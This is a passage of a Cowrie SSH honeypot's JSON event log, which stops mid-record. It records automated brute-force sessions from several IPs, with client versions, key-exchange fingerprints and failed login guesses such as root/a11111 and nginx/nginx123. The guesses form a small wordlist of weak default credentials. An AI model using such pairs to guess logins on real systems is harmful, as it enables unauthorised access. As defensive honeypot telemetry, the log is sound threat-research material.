{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:28.573858Z","src_ip":"83.168.110.85","session":"36e3e0e76caa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:28.937017Z","src_ip":"83.168.110.85","session":"36e3e0e76caa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:30.118791Z","src_ip":"83.168.110.85","session":"36e3e0e76caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":58510,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5aef6ddd78","protocol":"ssh","message":"New connection: 103.149.170.125:58510 (159.203.135.109:22) [session: de5aef6ddd78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:30.671719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:30.676709Z","src_ip":"103.149.170.125","session":"de5aef6ddd78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:30.938260Z","src_ip":"103.149.170.125","session":"de5aef6ddd78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a11111","message":"login attempt [root/a11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:31.719785Z","src_ip":"103.149.170.125","session":"de5aef6ddd78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:32.983224Z","src_ip":"103.149.170.125","session":"de5aef6ddd78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33616,"dst_ip":"159.203.135.109","dst_port":22,"session":"705af5fb7999","protocol":"ssh","message":"New connection: 83.168.110.85:33616 (159.203.135.109:22) [session: 705af5fb7999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:38.903756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:38.911489Z","src_ip":"83.168.110.85","session":"705af5fb7999","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:39.032074Z","src_ip":"83.168.110.85","session":"705af5fb7999","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:39.397138Z","src_ip":"83.168.110.85","session":"705af5fb7999","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:40.625324Z","src_ip":"83.168.110.85","session":"705af5fb7999","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50118,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad98f5150244","protocol":"ssh","message":"New connection: 83.168.110.85:50118 (159.203.135.109:22) [session: ad98f5150244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:49.418175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:49.481888Z","src_ip":"83.168.110.85","session":"ad98f5150244","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:49.542163Z","src_ip":"83.168.110.85","session":"ad98f5150244","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:50.014854Z","src_ip":"83.168.110.85","session":"ad98f5150244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:51.301573Z","src_ip":"83.168.110.85","session":"ad98f5150244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":34956,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e81b0f5ef2a","protocol":"ssh","message":"New connection: 185.236.22.41:34956 (159.203.135.109:22) [session: 1e81b0f5ef2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:51.918209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:51.925906Z","src_ip":"185.236.22.41","session":"1e81b0f5ef2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:52.040506Z","src_ip":"185.236.22.41","session":"1e81b0f5ef2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t6y7u8i9o0p","message":"login attempt [root/1q2w3e4r5t6y7u8i9o0p] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:52.391319Z","src_ip":"185.236.22.41","session":"1e81b0f5ef2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:53.522431Z","src_ip":"185.236.22.41","session":"1e81b0f5ef2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":51324,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8fd3dba4231","protocol":"ssh","message":"New connection: 83.168.110.85:51324 (159.203.135.109:22) [session: f8fd3dba4231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:59.833603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:59.838062Z","src_ip":"83.168.110.85","session":"f8fd3dba4231","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:11:59.958900Z","src_ip":"83.168.110.85","session":"f8fd3dba4231","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:00.331219Z","src_ip":"83.168.110.85","session":"f8fd3dba4231","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:01.591223Z","src_ip":"83.168.110.85","session":"f8fd3dba4231","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":59210,"dst_ip":"10.17.0.5","dst_port":22,"session":"2992c18eeef9","protocol":"ssh","message":"New connection: 109.172.54.111:59210 (10.17.0.5:22) [session: 2992c18eeef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:01.735697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:01.749050Z","src_ip":"109.172.54.111","session":"2992c18eeef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:01.905677Z","src_ip":"109.172.54.111","session":"2992c18eeef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"00123","message":"login attempt [root/00123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:02.221942Z","src_ip":"109.172.54.111","session":"2992c18eeef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:03.320605Z","src_ip":"109.172.54.111","session":"2992c18eeef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":51730,"dst_ip":"10.17.0.5","dst_port":22,"session":"574729c5c32d","protocol":"ssh","message":"New connection: 79.3.96.178:51730 (10.17.0.5:22) [session: 574729c5c32d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:08.598387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:08.602635Z","src_ip":"79.3.96.178","session":"574729c5c32d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:08.737813Z","src_ip":"79.3.96.178","session":"574729c5c32d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweasd1","message":"login attempt [root/qweasd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:09.305787Z","src_ip":"79.3.96.178","session":"574729c5c32d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:10.442635Z","src_ip":"79.3.96.178","session":"574729c5c32d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":60006,"dst_ip":"159.203.135.109","dst_port":22,"session":"809227e5d377","protocol":"ssh","message":"New connection: 83.168.110.85:60006 (159.203.135.109:22) [session: 809227e5d377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:10.695560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:10.704989Z","src_ip":"83.168.110.85","session":"809227e5d377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 